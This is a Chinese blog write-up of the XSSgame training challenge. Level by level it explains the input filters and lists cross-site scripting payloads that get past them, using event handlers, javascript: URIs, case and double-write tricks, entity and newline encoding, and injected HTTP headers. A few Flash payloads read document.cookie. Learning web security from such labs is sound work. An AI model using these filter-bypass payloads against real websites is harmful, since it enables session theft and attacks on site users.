

# XSSgame writeup

原创

[a370793934](#) 于 2019-11-26 17:20:47 发布 228 收藏 4

分类专栏: [WriteUp](#) 文章标签: [XSSgame writeup ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/a370793934/article/details/103260867>

版权



[WriteUp](#) 专栏收录该内容

20 篇文章 2 订阅

订阅专栏

## Level1

看源码有name传参, 地址栏构造 `?name=<script>alert(1)</script>`

或者 `?name=<svg/onload=alert(1)>`

## Level2

分析代码, 仍然是使用get方法, 从url中接受一个keyword参数, 不过这里用到一个过滤函数 `htmlspecialchars()` 这个函数把预定义的字符转换为 HTML 实体, 等于<不能用, 这时候一种方法是黑名单绕过, 就是不使用被过滤的符号, 使用js的事件:

payload: `" onclick=alert(1)>` 这样需要点击一下输入框 `<br>`

`" onmouseover=alert(1)>` 需要鼠标划过输入框 `<br><br>`

另外一种方法就是在构造payload就要将input的文本框本分提前闭合, 不影响我们弹窗代码,

我这里使用 `"><script>alert(1)</script>`

这样的话: `<input name="keyword" value=" "><script>alert(1)</script>`

这样 `value=" "`, 不会检查我们的弹窗代码

## Level3

分析代码发现跟上面大同小异, 不过过滤更加严格了, 特别是 `value="'.htmlspecialchars($str).'"` 发现

上题尝试闭合 `<"">` 构造 `<script>` 弹窗方法失效了, 应为value中的<被转义了, 只能利用上题中的js时间

来构造弹窗, 不过这里需要用单引号闭合, 构造payload: `' onmouseover=alert(1)//`

这样的话: `<input name=keyword value=' ' onmouseover=alert(1)// '>`

双斜杠是注释掉后面的单引号或者补全也可以

payload: `' onmouseover=alert(/xss/)`

这样的话: `<input name=keyword value=' ' onmouseover=alert(1)'>`

又或者构造一个按钮

```
payload: ' type='submit' onclick='alert(/xss/)
```

这样的话: `<input name=keyword value=" type='submit' onclick='alert(/xss/)>`

但这样不会跳转到下一题

## Level4

这里我们看到, 我们传入进去的值又经过了两个函数的参与。

函数说明:

`Str_replace(">", " ", $str)`, 此函数将变量`str`中的字符`>`转换为空, 转换时区分大小写。同理将`<`转换为空,

然后在经过`htmlspecialchars()`函数, 将一些预定义符号转换为html实体。

通过这几个函数的过滤转化, 我们前三关的payload肯定对不能用的。所以接下来我们需要做的就是,

在没有符号“`<>`”的情况下, 并且语句不被`htmlspecialchars()`函数影响的情况下构建payload。

所以我们在这里可以构造一个输入到文本框后出现相应的事件。我们的payload:

```
" onfocus=alert(1) autofocus="
```

```
" onclick=alert(1) //
```

这样我们输入的payload没有被函数过滤, 并且经过`htmlspecailchars()`函数转换并不影响最 input文本框。所以输入后文本框内容就变成了:

```
<input name=keyword value=" " onfocus=alert(1) autofocus=" " >
```

```
<input name=keyword value=" " onclick=alert(1) //">
```

Onfocus事件: 定义的事件将在对象获得焦点时触发, 这里指input标签获得焦点。

Autofocus属性: input标签的属性, 当页面加载input标签, 自动获得焦点。

焦点: 这里指你的光标的位置, 也就是说当你的光标出现在input文本框这里, 将进行onfocus事件的发生。

或者用

```
" type='submit' onclick="alert(/xss/) [不会跳转下一题]
```

```
" onkeydown="alert(/xss/)
```

## Level5

分析代码发现, `str2=strreplace("<script","<script",str2=strreplace("<script","<script",str); str3=strreplace("on","on",str3=strreplace("on","on",str2));` 就直接把

`<script` 转换成 `<scr_ipt`, `on`转换成 `o_n`, 这样就过滤了js事件, `str=strtolower(str=strtolower(_GET["keyword"]));`这样

大小写绕过也失效, 不过这次没有过滤尖括号`<>`, 这里使用伪协议来构造payload:

```
"><iframe src=javascript:alert(1)>
```

```
"> <a href="javascript:alert(1)">bmjoker</a>
```

```
"> <a href="javascript:%61lert(1)">bmjoker</a> //
```

这样的话: `<input name=keyword value=" "><iframe src=javascript:alert(1)>">`

```
<input name=keyword value=" "><iframe src=javascript:alert(1)>">
```

或者使用

```
"><a href="javascript:alert(/xss/)">xss</a>
```

## Level6

分析代码, 发现同样过滤了很多字符, `<script` 转换成 `<scr_ipt`, `on` 转换成 `o_n`, `src` 转换成 `sr_c`, `data` 转换成 `da_ta`, `href` 转换成 `hr_ef`, 比起上一关, 发现这里没有大小写约束, 我们可以构造payload:

```
"> <Script>alert(1)</script> //
```

```
"> <img Src=x OnError=alert(1)> //
```

```
"><a HrEf="javascript:alert(1)">bmjoker</a> //
```

```
"><svg x=" " Onclick=alert(1)>
```

```
"><ScriPt>alert(1)<sCript>"
```

```
" OncliCk=alert(1) //
```

```
"><table background="javascript:alert(/xss/)"> [03 IE]
```

```
"><Script>alert(/xss/)</Script>
```

## Level7

分析代码, 不仅大小写不能用了, `script`, `on`, `src`, `data`, `href` 都直接转换成空, 尝试双写绕过, 构造payload:

```
"><sscriptcript>alert(1)</sscriptcript>
```

```
" oonnmouseover=alert(1)
```

```
"><a hrhrefef=javascrscriptpt:alert(1)>bmjoker</a>
```

```
"><scrscriptpt>alert(/xss/)</scripscriptpt>
```

## Level8

分析代码，<script 转换成 <scr\_ipt，on 转换成 o\_n，src 转换成 sr\_c，data 转换成 da\_ta，href 转换成 hr\_ef，

大小写也失效了，" 还被编码，但是尖括号<>，单引号'，%，#，& 符号没有被过滤，输出点在a标签内，href属性中，

属性中双引号被转换成HTML实体，无法截断属性，我们可以使用协议绕过javascript:alert，由于script关键字被过滤，

javascript会被替换成javasc\_rpt，我们使用&#x72来代替r，HTML字符实体转换：<https://www.qqxiuzi.cn/bianma/zifushiti.php>

，伪协议后面可以使用URL编码等进行编码。构造payload:

```
javascrip&#x74;:alert(1)
```

```
Javascrip&#116:alert(1)
```

```
javasc&#x72;:ipt:alert`1`
```

```
javasc&#x0072;:ipt:alert`1`
```

```
javasc&#114;:ipt:alert(/xss/)
```

## Level9

分析代码，发现跟上个挑战大同小异，不同的是多了自己自动检测url，如果发现没有带http:// 内容则会显示不合法，

构造payload:

```
javascrip&#x74;:alert(1)//http://xxx.com //利用注释
```

```
javascrip&#x74;:;%0dhttp://xxx.com%0dalert(1) //不利用注释
```

```
javascrip&#x74:http://xxx.com%0aalert(1) //不利用注释
```

```
javasc&#114;:ipt:alert('http://')
```

## Level10

分析代码，发现需要两个参数，一个是keyword，一个是t\_sort，尖括号<>都被转换成空，还有三个hidden的隐藏输入框，

或许我们可以从隐藏的输入框下手，构造payload:

```
?keyword = test&t_sort="type="submit" onclick = "alert(1)
```

```
?keyword = test&t_sort="type="text" onmouseover="alert(1)
```

这样的话：<input name="t\_sort" value=" " type="text" onclick = "alert(1)" type="hidden">

构成一个js的点击弹窗事件

或者使用:

```
?t_sort=" onmouseover=alert(/xss/) type="submit"
```

```
?t_sort=" onclick=alert(/xss/) type="submit" [不会跳转]
```

## Level11

分析代码,发现比起上一个挑战来说,多了一个 `str11=str11=_SERVER['HTTP_REFERER'];` 考察的是http头部的

xss注入,开始抓包,burp修改相应的字段,构造http头部Referer的payload:

```
Referer: " onmouseover=alert(1) type="text"
```

```
Referer: " onclick="alert(1) type="text"
```

burp抓包,改Referer头,forward发包

或者使用Tamper Data 修改Referer 属性

```
" onmouseover=alert(/xss/) type="submit"
```

## Level12

分析代码,这次换成了 `str11=str11=_SERVER['HTTP_USER_AGENT'];` 应该是User-Agent的http头部注入,

burp抓包,构造http头部User-Agent的payload:

```
User-Agent: " onmouseover=alert(1) type="text"
```

```
User-Agent: " onclick="alert(1) type="text"
```

burp抓包,改User-Agent头,orward发包

或者使用Tamper Data 修改User-Agent 属性

```
" onmouseover=alert(/xss/) type="submit"
```

## Level13

分析代码,这次换成了 `setcookie("user", "call me maybe?", time()+3600);` 应该是cookie类型的xss注入

直接构造payload:

```
Cookie: user=" onmouseover=alert(1) type="text"
```

```
Cookie: user=" onclick="alert(1) type="text"
```

burp抓包,改cookie,然后发包

或者

通过Tamper Data 修改Cookie信息

```
user=" onmouseover=alert(/xss/) type="submit"
```

## Level14

看一下大佬的payload:

```
"><img src=1 onerror=alert(1)>
```

百度得出答案，这里用的是乌云爆出的exif viewer的漏洞,漏洞原理是通过修改图片的exif信息，造成解析图片exif触发XSS。利用工具推荐exiftool。以后看见上传果断又一个姿势啊。

修改图片exif信息如标题，作者。

## Level15

分析代码，这一关考的angular js的知识，稍微百度一下相关知识，发现ng-include有包含文件的意思，也就相当于php里面的include

发现可以包含第一关的页面，构造payload:

```
src='level1.php?name=<img src=x onerror=alert(1)>'
```

F12打开开发者模式修改

## Level16

分析代码，发现大小写绕过失效，script , / , ,等都被转换成&nbsp;，我们可以用%0d, %0a等绕过:

构造payload:

```
<img%0Dsrc=1%0Donerror=alert(1)>
```

```
<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
```

```
<svg%0aonload=alert`1`></svg>
```

地址栏输入:

```
http://localhost/xss/xss/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
```

如果<>被过滤还可以用 %3C %3E代替

```
%3Cimg%0Dsrc=1%0donerror=alert(2)%3E
```

## Level17

刚开始以为是Flash XSS，仔细一看发现不是，使用了htmlspecialchars进行实体编码，和第三关就一样了，使用on事件。

构造payload:

arg01=123&arg02= onmouseover=alert(1)

arg01=123&arg02=%20onmousedown=alert`1`

arg01=123&arg02= onmouseover=alert(1) type="text"

arg01=a&arg02=%20onmouseover=alert(2)

### Level18

与上一道题一样

arg01=onmouseover=alert(1)&arg02=123

也可以在onmouseover前加a%20不影响结果

arg01=a%20onmouseover=alert(2)&arg02=b

### Level19

本题为Flash xss, 构造payload

arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss%3C/a%3E

### Level20

本题也为Flash xss, 构造payload

arg01=id&arg02=\\%22))}catch(e){if(!self.a)self.a=!alert(document.cookie)//%26width%26height